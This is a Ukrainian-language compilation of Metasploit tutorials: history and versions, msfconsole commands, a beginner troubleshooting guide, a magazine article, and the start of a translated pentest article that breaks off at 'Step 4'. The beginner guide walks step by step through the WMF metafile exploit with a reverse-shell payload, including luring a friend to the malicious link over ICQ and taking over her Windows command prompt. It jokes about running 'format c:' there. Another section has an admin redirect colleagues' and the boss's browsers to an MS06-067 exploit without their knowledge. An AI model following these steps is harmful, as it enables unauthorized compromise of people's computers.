Практичного посібника з використання дистрибутива Kali Linux для аудиту ІБ та проведення пен-тестів. Сьогодні ж ми звернемо пильну увагу на один із інструментів, що входять в даний дистрибутив. Metasploit Framework . Розглянь історію виникнення проекту, а так наведемо конкретні посібники та документації, що сприяють практичному освоєнню пакета. Metasploit

Історія проекту

У 2003 році, хакеру, відомому як "HD Moore" , спала на думку ідея розробити інструмент для швидкого написання та використання експлоїтів . Так на світ з'явився відомий у всіх колах проект Metasploit project .

Перша версія фреймфорка була написана мовою Perl, що містила псевдографічний інтерфейс з урахуванням бібліотеки curses. На той момент це був просто набір розрізнених експлойтів та скриптів, загальні відомості про які зберігалися у єдиній базі даних. Інформація про необхідне оточення для запуску скриптів, як правило, була відсутня. Також вони несли в собі купу застарілого коду, вимагали модифікації жорстко прописаних шляхів для кожного конкретного випадку, що ускладнювало робочий процес і ускладнювало розробку нових інструментів.

При роботі над другою (2.x) версією до HD Moore приєднався Метт Міллер та ще кілька добровольців. Третя версія була повністю переписана на Ruby, її розробляла компанія Metasploit LLC (заснована вспі тими ж розробниками в 2006 році). Через рік у 2008 ліцензія Metasploit Framework була змінена з пропрієтарною на BSD. А ще пізніше в 2009 році фірма Rapid7, що займається управлінням уразливістю, оголосила про придбання Metasploit програмного пакета подвійного призначення для проведення тестів на проникнення. Також повідомлялося, що некомерційна версія утиліти, як і раніше, буде доступна для всіх бажаючих.

З моменту придбання фреймфорка багато що змінилося.

З'явилися PRO та Community версії, а у 2010 році, у світ вийшла більш спрощена версія для «малокваліфікованих» користувачів - Metasploit Express .

Версії

Сьогодні Metasploit поширюється у чотирьох версіях:

  • Framework – базова версія з консольним інтерфейсом;
  • Community – безкоштовна версія, що включає додатково веб-інтерфейс та частина функціоналу з комерційних версій;
  • Express - для комерційних користувачів, що включає функціонал, що дозволяє спростити проведення базових аудитів та формування звітності з них;
  • Pro - найпросунутіша версія, надає розширені можливості для проведення атак, дозволяє формувати ланцюжки завдань для аудиту, складати докладну звітність та багато іншого.
Крім веб-інтерфейсу, доступного у версіях Community, Express і Pro, існують такі проекти, як Armitage та Cobalt strike, що надають дружній та інтуїтивно зрозумілий GUI-інтерфейс для фреймворку.

Armitage графічна оболонка

Порівняно з іншими інтерфейсами Armitage дозволяє у наочному вигляді уявити всі етапи атаки, включаючи: сканування вузлів мережі, аналіз захищеності виявлених ресурсів, виконання експлоїтів та отримання повного контролю за вразливою системою.

Усі функції програми структуровані та доступні з меню та вкладок програми, навіть для початківця дослідника комп'ютерної безпеки. Програма призначена для використання на платформах Linux та Windows. На веб-сайті розробників присутні вихідні коди, довідкові посібники у текстовому та відео форматі.

Базові поняття

1. База даних

До початку роботи з пакетом необхідно враховувати можливість використання бази динних, для зберігання інформації про хості, послуги, вразливості та інше. Підключення до бази дуже не обов'язкова умова для функціонування фреймворку, але тим щонайменше підвищує зручність використання продуктивність.

Metasploit використовує PostgreSQL, тому до початку роботи з ним потрібно встановити СУБД на свою систему. Потім переконатися, що запущені необхідні послуги БД та фреймворку.

2. Структура фремворку

«Серце» Metasploit – бібліотека Rex. Вона потрібна для операцій загального призначення: роботи з сокетами, протоколами, форматування тексту, роботи з кодуванням та подібними. На ній базується бібліотека MSF Core , яка надає базовий функціонал та «низькорівневий» API. Його використовує бібліотека MSF Base, яка, у свою чергу, надає API для плагінів, інтерфейсу користувача (як консольного, так і графічного), а також модулів, що підключаються .

Усі модулі поділяються на кілька типів, залежно від функціональності, що надається:

  • Exploit- код, що експлуатує певну вразливість на цільовій системі (наприклад, переповнення стека)
  • Payload- код, який запускається на цільовій системі після того, як відпрацював експлойт (встановлює з'єднання, виконує шелл-скрипт та інше)
  • Post- код, який запускається на системі після успішного проникнення (наприклад, збирає паролі, завантажує файли)
  • Encoder- інструменти для обфускування модулів з метою маскування антивірусів
  • NOP- генератори NOP'ів. Це асемблерна інструкція, яка не робить жодних дій. Використовується, щоб заповнювати порожнечу у файлах, для підгонки під необхідний розмір

    Auxiliary- модулі для сканування мережі, аналізу трафіку тощо.

3. Загальні команди MSFCONSOLE

Незважаючи на наявність графічних інтерфейсів, найпоширенішим способом роботи з Metasploit, як і раніше, залишається консольний інтерфейс. msfconsole .

Розглянемо основні команди:

  • use- Вибрати певний модуль для роботи з ним;
  • back- операція, зворотна use: припинити працювати з вибраним модулем і повернутися назад;
  • show- Вивести список модулів певного типу;
  • set- Встановити значення певному об'єкту;
  • run- запустити допоміжний модуль після того, як було встановлено необхідні опції;
  • info- вивести інформацію про модуль;
  • search- Знайти певний модуль;
  • check- перевірити, чи схильна цільова система вразливості;
  • sessions- Вивести список доступних сесій.

Багато хто чув напевно слова Метасплоїт, метафайли, експлоїт, шелл, вразливість. Дуже багато питань виникає у користувачів (початківців скрипткідісів, а також тестерів сплоітів і вразливостей) які з цим так чи інакше стикаються, ось якраз для них ця стаття.

Тут я розповім Вам, що таке проект Metasploit Framework і як ним користуватися. Відразу скажу що стаття розрахована для тих, хто ставить питання на кшталт цих:

  1. cd \
    cd %SystemRoot%\system32
    msfconsole: chdir: failed to change directory Немає файлу або directory
    Це як розуміти???
  2. або типу цього:
    + — —=[ msfconsole v2.6
  3. msf > ls exploits

    msf >
    А як розуміти це?

Основні поняття та терміни, що використовуються у статті

Експлоїт: (англ. exploit - використовувати) - це загальний термін у спільноті комп'ютерної безпеки для позначення фрагмента програмного коду, який, використовуючи можливості, що надаються помилкою, відмовою або вразливістю, веде до підвищення привілеїв або відмови в обслуговуванні комп'ютерної системи.

Шелл-код: Код оболонки, шелл-код (англ. shellcode) - це двійковий виконуваний код, який зазвичай передає управління консолі, наприклад '/bin/sh' Unix shell, command.com в MS-DOS і cmd.exe в операційних системах Microsoft Windows. Код оболонки може бути використаний як корисне навантаження експлойту, забезпечуючи зломнику доступ до командної оболонки (shell) в комп'ютерній системі.

Реверс-шелл: При експлуатації віддаленої вразливості шелл-код може відкривати заздалегідь заданий порт TCP вразливого комп'ютера, через який буде здійснюватися подальший доступ до командної оболонки, такий код називається портом, що прив'язує (англ. port binding shellcode). Якщо шелл-код здійснює підключення до порту комп'ютера атакуючого, що з метою обходу брандмауера чи NAT, такий код називається зворотної оболонкою (англ. reverse shell shellcode).

Вразливість: У комп'ютерній безпеці термін вразливість (англ.vulnerability) використовується для позначення слабко захищеного або відкритого місця в системі. Вразливість може бути результатом помилок програмування чи недоліків у дизайні системи. Вразливість може бути або лише теоретично, або мати відомий експлойт.

Вразливості часто є результатом безтурботності програміста, але також можуть мати й інші причини. Вразливість зазвичай дозволяє атакуючому обдурити додаток, наприклад, за допомогою впровадження даних якимось незапланованим способом, виконання команди на системі, на якій виконується програма, або шляхом використання недогляду, яке дозволяє отримати непередбачений доступ до пам'яті для виконання коду на рівні привілеїв програми.

Деякі вразливості виникають через недостатню перевірку даних, що вводяться користувачем; часто це дозволяє безпосередньо виконати команди SQL (SQL-ін'єкція). Інші вразливості виникають через складніші проблеми, такі як запис даних у буфер, без перевірки його меж, в результаті буфер може бути переповнений, що може призвести до виконання довільного коду.

Cygwi (Цігвін): набір вільних програмних інструментів, розроблених фірмою Cygnus Solutions, що дозволяють перетворити Microsoft Windows різних версій на деяку подобу Unix-системи. Спочатку Cygwin замислювався як середовище для перенесення програм з POSIX-сумісних операційних систем (таких як GNU/Linux, BSD та UNIX) у Windows. Програми, портовані за допомогою Cygwin, працюють найкраще у Windows NT, Windows 2000, Windows XP та Windows Server 2003, але в деяких випадках годяться Windows 95 та Windows 98. В даний час проект Cygwin розробляється співробітниками Red Hat та іншими програмістами. Подібні функціональні можливості пропонує також і Microsoft у своєму пакеті Services for UNIX, що включає підсистему Interix.

Perl (Перл): Мова програмування. Автор Ларрі Уолл (Larry Wall). Саме слово Perl - абревіатура, яка розшифровується як Practical Extraction and Report Language (практична мова витягів та звітів, чому спочатку мова називалася PEARL, але потім літера "A" "втратилася"). Існує також низка інших варіантів. Відповідно до найкрасивішого з них, назва perl походить від слова pearl (перлина). Талісманом мови Perl є верблюд - не надто красива, але дуже витривала тварина, здатна виконувати важку роботу. Основною особливістю мови вважаються багаті можливості для роботи з текстом, реалізовані за допомогою регулярних виразів.

Що таке Metasploit Framework?

Metasploit Framework (згідно з описом) це закінчене середовище для написання, тестування та використання коду експлойтів. Це середовище забезпечує надійну платформу для випробувань на проникнення, розробки шовкодів та дослідження вразливостей». Написаний на Perl (з деякими частинами на асемблері, Python і C) – звідси немає прив'язки до якоїсь платформи – працюватиме в будь-якій системі, де є інтерпретатор Perl`a (з застереженням див. далі). На даний момент пакет Metasploit Framework функціонує як на Linux так і на Windows, а також на Мас. Завантажити останню версію пакета для відповідної ОС можна тут: http://www.metasploit.com/
(Середовище під Windows базується на доопрацьованому Cygwin, що зручно, тому що це дає користувачеві відому консоль. Однак, були деякі проблеми з підтримкою Active Perl, тому підтримується тільки Cygwin Perl.

Установка (для win-користувачів)

Інсталятор для windows містить усе потрібне (Сygwin, Perl), тобто. користувачам windows додаткове програмне забезпечення не потрібно.
Качаємо (доступна версія 2.6 для windows на момент написання статті).
Зараз вона актуальніша (більше сплоїтів).

Запускаємо інсталятор: framework-2.6.exe

Отримуємо: C:\Program Files\Metasploit Framework\
cygwin.bat (41.0B) - запуск cygwin
msfconsole.bat (86.0B) - запуск консолі MSF
msfupdate.bat (85.0B) - запуск оновлення пакета
msfweb.bat (82.0B) - запуск WEB-інтерфейсу пакета
Metasploit Framework.url (51.0B) — лінк на сайт розробників
uninst.exe (47.6KB) — деінсталізація пакета

а також папки bin, etc, home, lib, sbin, tmp, usr, var – добре відомі шанувальникам Unix-систем.

Використання

Пакет Metasploit Framework має два варіанти роботи: msfconsole (консольний) та web-інтерфейс msfweb. Мені зручніше завжди працювати в msfconsole. Це інтерфейс командного рядка (на кшталт cmd з мінімальним набором команд), що має власне програмне оточення та систему команд. Щоб подивитися основні команди, наберіть у консолі help. Для тих, у кого туго з англійською наводжу переклад help`a. Розглянемо консольний варіант роботи пакета.

Metasploit Framework Main Console Help

? ———— Show the main console help (Показати головне вікно допомоги)
cd ———— Change working directory (Вибрати робочу директорію)
exit ———- Exit the console (Вихід із консолі)
help ——— Show the main console help (Показати головне вікно допомоги)
info ———- Display detailed exploit or payload information (Вивести на дисплей детальну інфу про експлоїт або начинку)
quit ———- Exit the console (Вихід із консолі)
reload ——— Reload exploits and payloads (Перезавантажити експлоїт та начинки)
save ——— Save configuration to disk (Записати конфігурацію на диск)
setg ———- Set a global environment variable (Встановити глобальну змінну оточення)
show ——— Show available exploits and payloads (Показати доступні експлоїти та начинки)
unsetg ---- Remove a global environment variable (Видалити глобальну змінну оточення)
use ———— Select an exploit by name (Вибрати експлоїт на ім'я для використання)
version -- Show console version (Показати версію консолі)
--ні в help'е--
ls ————- List the current directory (Показати файли в поточній директорії)
exploit - Run exploit (Запуск експлоїту)
msf >

М…так, скажете ви help бідуватий та команд мало. Ну нічого, самі наздоженемо що до чого.
cd [ім'я_директорії] - стандартна команда (як і в cmd, так і в стародавньому досі - робить те ж саме і тут, з нею все ясно, для тих хто в танку наберіть help cd в консолі cmd)
Звичайно всім не терпиться використовувати команду use [ім'я експлоїту], а потім встановити змінну PAYLOAD якоюсь смачною начинкою, але все по порядку, почнемо!

Розповсюджені помилки 90% новачків

1. Помилка

  • Перша команда користувача після завантаження консолі ls exploits
    В цьому випадку їх осягає такий облом:
  • msf > ls exploits
    ls: exploits: No such file or directory
    msf >
  • І всі разом кажуть, у мене немає експлоїтів!
    А треба зробити лише команду ls без параметрів, щоб подивитися де ми знаходимося.
  • msf > ls
    framework perl.exe.stackdump run_msfupdate userguide.pdf
    framework.tar run_msfconsole run_msfweb
    msf >
  • Ось тепер ми бачимо, що папки з експлоїтами тут немає, тому що вона, швидше за все, знаходиться всередині папки framework.
    В чому проблема, переходимо в папку framework і подивимося там:
  • msf > cd framework
    msfconsole: chdir: changed to directory framework
    msf >
  • Чудово! Тепер глянемо що тут усередині скомандувавши ls:
  • msf > ls
    data exploits msfcli msfencode msfpescan nops src
    docs extras msfconsole msflogdump msfupdate payloads tools
    encoders lib msfelfscan msfpayload msfweb sdk
    msf >
  • О! Скільки тут всього! І експлоїти та начинки та доки. Тепер можна командувати ls exploits
  • msf > ls exploits
    3com_3cdaemon_ftp_overflow.pm mozilla_compareto.pm
    Credits.pm ms05_039_pnp.pm
    ————-багато інших експлоїтів——————-
    mercantec_softcart.pm wsftp_server_503_mkd.pm
    mercur_imap_select_overflow.pm wzdftpd_site.pm
    mercury_imap.pm ypops_smtp.pm
    minishare_get_overflow.pm zenworks_desktop_agent.pm
    msf >
  • О! Скільки сплоїтів! (А казали немає експлоїтів. виявляється все зі сплоїтами в порядку - вони є)

2 Помилка

  • Команда use [ім'я_екплоїту.pm]
  • msf > use ie_xp_pfv_metafile.pm
    msfconsole: use: please specify a valid exploit name
    msf >
  • Розширення експлоїту pm - вказувати не треба, тільки ім'я сплоїти!
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile >

3 Помилка

  • Після успішного вибору необхідного сплоїта одночасно вибирають начинку (забуваючи про параметри)
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) > exploit
    Error: Missing required option: LHOST
    msf ie_xp_pfv_metafile(win32_reverse) >
  • Облом! Це що? Перекладу відсутня (не задана) рекомендована опція (параметр) LHOST
    Взагалі перед тим як начиняти сплоїть, я раджу задати (установити) всі необхідні параметри за допомогою команди set.
    У кожного сплоїта їх може бути різна кількість (залежить від конкретної вразливості)
    Ну і що робити, як дізнатися які параметри у якого сплоїту? Відповідь вже була вищою! у help`e! Командуємо: info [ім'я_сплоїта], наприклад дізнаємося все про wmf-сплоїт (ie_xp_pfv_metafile)
  • msf > info ie_xp_pfv_metafile
    Name: Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Executi
    Class: remote
    Version: $Revision: 1.18 $
    Target OS: win32, winxp, win2003
    Keywords: wmf
    Privileged: No
    Disclosure: Dec 27 2005
  • Provided By:
    H D Moore san
    O600KO78RUSunknown.ru
  • Available Targets:
    Automatic - Windows XP / Windows 2003 / Windows Vista
  • Available Options:
  • Exploit: Name Default Description
    ——— ——— ——- —————————————
    optional REALHOST Вхідні адреси для використання для реdirects
    T)
    optional HTTPHOST 0.0.0.0 The local HTTP listener host
    Потрібно HTTPPORT 8080 The local HTTP listener port
  • ……….пропущено………….
    msf >
  • Ось вам вся і докладна інформація про сплоїт, нас цікавить optional
    Для лінивих:
    HTTPHOST (LHOST) - Локальна IP адреса сервера на якому повисне сплоїт (адреса твого комп'ютера)
    HTTPORT (LPORT) – його порт (8080 – за замовчуванням)
    REALHOST (RHOST) - зовнішня адреса для редиректа (WAN - адреса якщо твій комп'ютер знаходиться за NAT)

4. Помилка

  • Важливо! Завжди і скрізь імена змінних оточення писати лише ВЕЛИКИМИ літерами!

5. Помилка

  • >msf ie_xp_pfv_metafile(win32_reverse) > exploit
    msf >Ці не слід реєструвати: Operation not permitted
    Що робити? - звільнити порт (вже зайнятий чимось, буквально - не можу запустити слухач: операція не дозволена) або використовувати інший, наприклад set LPORT 8081

6 Помилка

  • Client connected from ххх.ххх.ххх.ххх:1879…
    Undefined subroutine &Pex::Utils::JSUnescape called at /home/framework/exploits/
    ie_vml_rectfill.pm line 156.
    Exiting Reverse Handler.
    msf ie_vml_rectfill(win32_reverse) >
    Це ще що? Невизначена підпрограма і ... ну взагалі швидше за все ви завантажили новий сплоіт і засунули в стару версію пакета, взагалі працювати не буде. Cплоїти, які вийшли після пакету, здебільшого працюватимуть тільки на свіжій версії, на даний момент 2.7 (якраз стосується свіжого сплоїту ie_vml_rectfill.pm. Так що або оновлюйте пакет, або качайте останній...

Приклад
(практичне використання)

  • Експлоїт: ie_xp_pfv_metafile, начинка win32_reverse
  • msf > use ie_xp_pfv_metafile
    msf ie_xp_pfv_metafile > set LHOST 10.0.0.1
    LHOST -> 10.0.0.1

Взагалі розібралися задали все необхідне для сплоїту, тепер можна переходити до начинки:
командуємо set PAYLOAD [ім'я_начинки],

  • msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
    PAYLOAD -> win32_reverse
    msf ie_xp_pfv_metafile(win32_reverse) >msf ie_xp_pfv_metafile(win32_reverse) > exploit

[*] Starting Reverse Handler.

Готово! Консоль каже, що чекаю з'єднань до http://10.0.0.1:8080/
Впарюємо посилання другові (або подружці) наприклад через асю.

Маша, дивись який прикол: http://10.0.0.1:8080/ (прим. взагалі-то тут має бути зовнішній ip)

[*] HTTP Client connected from 10.0.0.2:1116, redirecting… — клієнт з'єднався, його IP 10.0.0.2:1116, редирект

[*] HTTP Client connected from 10.0.0.2:1117, sending 1604 bytes of payload… — відправлено 1604 байт начинки (реверс-шелл тут)

[*] Got connection from 10.0.0.1:4321 10.0.0.2:1118 - встановлено з'єднання (пайп з cmd віддаленого комп'ютера)

  • Microsoft Windows XP.
    (') ?RаІRа ЖЕП? cЕаRбRдв, 1985-2001.
    <>

О блін!, Це ще що, скажете Ви - це командний рядок віддаленого комп'ютера того юзверя!
А що це за абракадабра? - Це не та кодова сторінка обрана (у нього російська вінда стоїть!) Зараз перевіримо! chcp

  • C:\Documents and Settings\?¤¬Е-Ебва вRа\? УРзЕс бвR<>chcp
    chcp
    ??Егй п ЄR¤Rв п бва -Їжак: 866
    <>

Точно це 866, поставимо 1251 (виндову, а не до с)

  • C:\Documents and Settings\?¤¬Е-Ебва вRа\? УРзЕс бвR<>chcp 1251
    chcp 1251
    '?Егй п ЄR¤Rв п бва -Їжак: 1251
    C:\Documents and Settings\Адміністратор\Робочий стіл>

О! Тепер все російською! Що робити в cmd чужого компа залежить від вашої фантазії, перелік команд дивіться в help по консольним командам windows. (format c: - жерсть!)
Був розібраний конкретний приклад використання WMF-експлоїту з начинкою реверс-шелла, ваші варіанти можуть бути іншими.

ПАВЕЛ ТРОЇЦЬКИЙ

Дослідження вразливостей за допомогою Metasploit Framework

Вчитися ніколи не пізно, а вчити інших – приємне заняття.

Все що трапляється в житті – на краще... Одного суботнього ранку мені довелося сміливо попрацювати. Погодьтеся, не найприємніше заняття, особливо у свій вихідний день. Але ситуацію можна подивитися і з іншого боку.

Через кілька годин ранкової роботи, коли я звільнився і перебував у стані сну на ходу, мене вже не тягнуло додому. Я плив коридором, де стояла затишна тиша в порівнянні з гучними буднями. Не пам'ятаю як, напевно, спрацювала цікавість, почувши здалеку характерні безперервні звуки швидкого натискання клавіш на клавіатурі, я на автопілоті змінив курс і пришвартувався в сусідньому відділі.

Люблю спостерігати за захоплено працюючими людьми. Виявилося, мій тезка та колега сидить за двома своїми моніторами і щось вирішує. Я м'яко приземлився в одне крісло, що впустив, включив чайник і став чекати.

Пашок повернувся до життя і помітив мене тільки коли чайник закипів і голосно клацнув своїм вимикачем на всю кімнату. Мабуть, спрацювало те, що він не ставив чайник.

Побачивши мене, він швидко заварив собі каву, сів назад на своє місце і явно зрадів, що зможе вилити мені свою душу під час чаювання і знайти розуміння. Так і виявилось. Він вирішував одне цікаве завдання, яке йому поставив шеф, з мікроконтролерами, при цьому думаючи і про інше завдання, на яке не вистачало часу.

Друге завдання було цікавішим, ніж перше, я спробую описати його вам, а далі запропонувати придумане нами рішення.

Закритий код – ворог народу?

Не секрет, що технічний відділ з його керівництвом косо поглядають на тих, хто використовує програми із закритим кодом, які до того ж містять багато вразливостей. Коли керівництво компанії розуміє проблему, це добре. Технічному відділу дається зелене світло, і вся організація переходить на більш правильні та безпечні для фірми рішення.

Але бувають інші випадки, коли керівництво, спираючись на думку друзів і знайомих, робить вигляд, що розбирається, а насправді це не так.

Наприклад, не всі оцінюють переваги нових версій Linux, OpenOffice або браузера Mozilla Firefox (порівняно з їх закритими і не завжди стабільними аналогами: Windows, MSOffice або IE).

Люди інертні, звикли до чогось і міняти нічого не хочуть. Риба гниє з голови - бувають випадки, коли керівництво не допускає технічний відділ до своїх комп'ютерів (особливо ноутбуків), будучи не тільки джерелом порушень безпеки, а й першою метою для підступів конкурентів.

Мета завдання полягала в тому, щоб повернути авторитет технічному відділу, прочитати ознайомлювальну лекцію для персоналу і провести рішення щодо встановлення та переходу на більш безпечні Open Source аналоги, мотивуючи це не своїм бажанням, а наказом керівництва, що стоїть над технічним відділом.

Завдання, здається, зрозуміле, якщо у вас є багаторічний досвід, напевно, ви змогли в ній побачити щось, що перетинається зі свого життя або схоже. Давайте розглянемо випадок вирішення, коли хитрість йде на користь спільній справі. Якщо у вас є цікавіші рішення – пишіть на форум журналу, обговоримо!

Рішення

Як діяти? Так як Глобальною мережею користуються практично всі, а вона становить неабияку загрозу будь-якому підрозділу, то поставимо за мету відучити користувачів використовувати IE.

Якщо звернутися до класики, то існує не так багато різних підходів до вирішення проблем:

  • якщо зробити перевірку на браузер і відключити звернення IE в мережу на проксі-сервері, то це буде не найкраще рішення, а адміністратора можна буде класифікувати як «маніяка»;
  • якщо видалити всім користувачам IE, це буде адміністратор-«ідіот», і проблема також не вирішиться;
  • якщо намагатися пакостити користувачам, що запускає IE, це буде адміністратор-фашист - успіху він теж не доб'ється, так як буде всі сили витрачати на боротьбу зі слідством.

Найбільш правильно – це піти на хитрість та боротися із причиною. Уявіть, якщо всі користувачі усвідомлено відмовляться від якогось рішення, то який буде сенс у світі бізнесу виробнику просувати це рішення?

Найбільш вдало для нашого задуму підходить тип адміністратора "технічний бандит".

Ми вивчимо різні нюанси роботи браузерів і існуючі в них уразливості, поставимо спеціальні програми, що демонструють приховані можливості, що виникають через помилки, і цим примусимо керівництво прийняти правильне рішення.

Перевір систему на вразливість

Очевидний факт, що у будь-якій великій програмі є помилки. Це практично всі розуміють, і начальство, зокрема. Тому для перевірки мереж та окремих хостів давно вигадали різні сканери. Але не всі розуміють специфіку їхньої роботи.

Якщо Nessus, Shadow Security Scanner, nmap, XSpider та інші певною мірою зручні і встигли себе добре зарекомендувати, то спиратися на їхні результати слід з розумінням того, що відбувається.

Наприклад, як бути з випадком, коли виконання будь-якого коду (що містить вразливість) відбувається з боку користувача, а чи не ініціюється зовнішнім сканером? Не секрет, що багато хто, просканувавши свій комп'ютер (або сервер) і не виявивши відкритих портів і вразливих сервісів, помилково думають, що їх системи в повному порядку.

Ми спробуємо довести цю помилку на прикладі браузера IE за допомогою Metasploit Framework.

План дій. Трохи теорії

Отримуючи різні розсилки з питань безпеки або відвідуючи сайти з такої тематики, періодично зустрічаєш інформацію про різні вразливості. Така вразливість дозволяє передати клієнту і виконати на його боці який-небудь код, така просто завершує додаток.

Теоретично виходить наступне: ви заходите на сайт XXX, а у вас натомість відкривається вікно терміналу, де запускається команда «format з:».

Приклад перебільшений, але, якщо вам у це складно повірити, до кінця статті ви зможете провести аналогічний експеримент у себе.

The Metasploit Project

Це проект, створений фірмою Metasploit LLC, що містить корисну інформацію для людей, що займаються поповненням баз даних для СОА (систем виявлення атак), а також дослідженням уразливостей та того, як вони працюють.

Мета ресурсу – зібрати різну інформацію про відомі експлоїти та вразливості разом з реалізуючими їх кодами, щоб ця інформація була доступна адміністраторам безпеки та розробникам.

На сайті міститься кілька розділів, які містять корисну інформацію.

Нам знадобиться розділ Framework (див. мал. 1), присвячений платформі, де можна реалізувати наш план.

Шукаємо Download внизу та завантажуємо framework-3.2.tar.gz.

Встановлення Metasploit Framework

Раніше програма була доступна лише через CLI (інтерфейс командного рядка), у зв'язку з чим була відома лише у вузьких колах.

Нещодавно з'явилася підтримка GUI (графічного інтерфейсу), що зробило програму більш привабливою менш досвідчених користувачів (особливо наявність версії програми під Windows). Добре це чи погано, сказати складно. Ми виберемо версію під Linux та GUI-інтерфейс.

Як операційна система взята Fedora 10, що недавно вийшла. Звичайно, вона не без проблем. Швидше за все, через півроку – рік дрібні проблеми будуть вирішені, і вона стане робочою платформою для багатьох адміністраторів, а поки що вона дуже підходить для наших експериментів. Якщо взяти більш ранні версії (Fedora 8, 9), то принципових відмінностей в установці не повинно бути.

Для роботи графічного інтерфейсу необхідне встановлення мови Ruby та бібліотек:

  • ruby-1.8.6.287-2.fc10.i386.rpm;
  • ruby-libs-1.8.6.287-2.fc10.i386.rpm;
  • ruby-gtk2-0.18.0-2.fc10.i386.rpm;
  • ruby-libglade2-0.18.0-2.fc10.i386.rpm;
  • ruby-atk-0.18.0-2.fc10.i386.rpm;
  • ruby-cairo-1.8.0-1.fc10.i386.rpm;
  • ruby-gdkpixbuf2-0.18.0-2.fc10.i386.rpm;
  • ruby-glib2-0.18.0-2.fc10.i386.rpm;
  • ruby-gnome2-0.18.0-2.fc10.i386.rpm;
  • ruby-gnomecanvas2-0.18.0-2.fc10.i386.rpm;
  • ruby-libart2-0.18.0-2.fc10.i386.rpm;
  • ruby-pango-0.18.0-2.fc10.i386.rpm.

Зробити це можна або вручну через команди:

rpm -ihv *.rpm

або через:

yum install ...

тоді достатньо вказати лише перші чотири пакети, решта будуть визначені як залежні і встановляться самі.

Наступним етапом треба розпакувати завантажений архів framework-3.2.tar.gz в будь-яку директорію, зайти до неї та з правами адміністратора запустити файл msfgui.

Права адміністратора (root) потрібні для того, щоб програма могла відкривати сокети на прослуховування на будь-якому порту (наприклад, 80-му, протокол TCP).

Запуск програми

Тепер, вибираючи вразливості (в базі Metasploit Framework їх чимало), ми можемо спробувати реалізувати сервер, який сформує код, який буде переданий клієнту для виконання на його боці. А далі виконаємо перевірку клієнта на вразливість. В якості вразливої ​​машини була обрана перша під рукою, а саме з Windows 2003 і IE 6.0 (див. рис. 5). До речі, деякі адміністратори, не обтяжуючи себе, часто шукають щось у Мережі з питань, що їх цікавлять, прямо з консолі сервера, при цьому ставити альтернативні браузери вони не збираються, мотивуючи це тим, що подібні виходи в Інтернет «на коліна з серверної» у них рідкісні. Зауважу, щоб скомпрометувати сервер досить одного випадку!


А далі ситуація проста: головне завдання – заманити жертву чи всезнаючого шефа на наш комп'ютер. В Інтернеті подібне вирішується соціальним способом, тобто обхідним шляхом. Наприклад, за допомогою розміщення різних банерів або переадресацією за допомогою popup-окна з вже заражених сайтів. Таке часто зустрічається на сумнівних сайтах (безкоштовне скачування комерційних програм, порносайти тощо), що пропонують натиснути на який-небудь банер.

У локальній мережі, будучи її адміністраторами, ми можемо загорнути звернення на шлюзі куди нам треба, а після показати шефу, що будь-який цілком нешкідливий сайт може творити чудеса з його комп'ютером (запускати інші додатки, копіювати його документи тощо), за умови що він навіть може бути запущений антивірус.

Звичайно, все це різноманіття дій залежить від вашої фантазії, а мета статті – лише показати напрямок і що таке можливо. Тому ми обмежимося лише однією вразливістю як приклад і запустимо якусь нешкідливу програму на комп'ютері жертви, наприклад, «Калькулятор». Не секрет, що для написання статті, щоб нікого не обманювати, протягом півгодини довелося перебирати вразливості, щоб знайти працюючу в цій конфігурації.

Як уразливість була обрана описана в Microsoft Security Bulletin MS06-067 – вибираємо цю вразливість у базі програми (див. рис. 6).

Прописуємо порт 8081 і команду для запуску на машині з вразливим бараузером "c:\windows\system32\calc.exe" (див. рис. 8).

Якщо ви хочете прописати 80-й порт, а у вас працює httpd-сервер, то не забудьте його зупинити, наприклад, командою:

# service httpd stop

або:

# /etc/rc.d/init.d/httpd stop

інакше незрозуміло, яка з двох програм має прослуховувати порт на вхідні з'єднання. З цією метою в прикладі взято порт 8081, який явно буде вільний.

Після цього підтверджуємо налаштування (див. мал. 9) та у списку висять завдань (jobs) у нас з'являється нове завдання (див. рис. 10).

Вікно машини жертви (див. мал. 11).

Висновок

Звичайно, даний приклад тривіальний, і для того, щоб вразити оточуючих або вашого шефа, краще його модифікувати, враховуючи специфіку. Ми так влаштовані, що будь-яка дія (зміни) приваблюють нас більше, тому для людей, які не дуже розуміють, як здійснюється переповнення буфера, краще замість калькулятора запустити архіватор з ключами, щоб у віконці була анімація, наприклад, «бігло» число відсотків стиснутих файлів з папки "Мої документи\конфіденційно". Тоді і сказати, що цей сайт націлений на збір інформації з комп'ютера вашого шефа, буде простіше і ваші аргументи будуть вагомішими. Якщо сайт запустив архіватор, а не який-небудь калькулятор, то проблема набагато серйозніша. Хоча сподіваюся, що більшість читачів, читаючи ці рядки, посміхнуться вкотре.

Також цю статтю та приклад можна використовувати з освітньою метою. Чим не посібник для викладачів на курсах безпеки або у вузах з проведення демонстрацій чи лабораторних робіт? Виконувати таку лабораторну роботу студентам буде набагато цікавіше, ніж обраховувати не завжди зрозумілі результати.

Якщо ви задумалися, а чи не час вам оновити/змінити систему або бразуер, то ви на вірному шляху!

  1. Робачевський А. М. Операційна система UNIX. - СПб.: БХВ-Петербург, 2002, ISBN 5-8206-0030-4.
  2. Сайт проекту The Metasploit Project, що містить інформацію та експлоїти з різних уразливостей, - http://metasploit.com.
  3. Вразливість Microsoft Security Bulletin MS06-067 – http://www.microsoft.com/technet/security/Bulletin/MS06-067.mspx.

Оригінал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публікації: липень 2011 р.
Переклад: В. Семененко
Дата перекладу: липень 2011

Вступ

Напевно, коли я вимовляю - "Інструмент для пентестингу" ("Penetration Testing tool"), перше, що спадає вам на думку при згадці цих словосполучень - ім'я . І не дивно! Цей проект є одним з найбільших у світі, написаних мовою Ruby. Сумарна кількість його рядків перевищує 700 000! На сьогодні є стандартом де-факто для пентестингу та пошуку вразливостей. Кількість щорічних завантажень екземплярів програми зашкалює за один мільйон. Проект також має найбільшу у світі загальнодоступну базу даних для перевірених та якісних експлоїтів.

У консолі msfconsole наберемо команду search dcerpc для пошуку всіх експлоїтів, імена яких відповідає шаблону dcerpc . Всі вони можуть застосовуватися для отримання доступу до сервера, використовуючи вразливість порту 135. Як тільки ми наберемо у рядку цю команду, отримаємо список всіх експлоїтів у вікні msfconsole, як показано на скріншоті Figure3.

Крок 4:

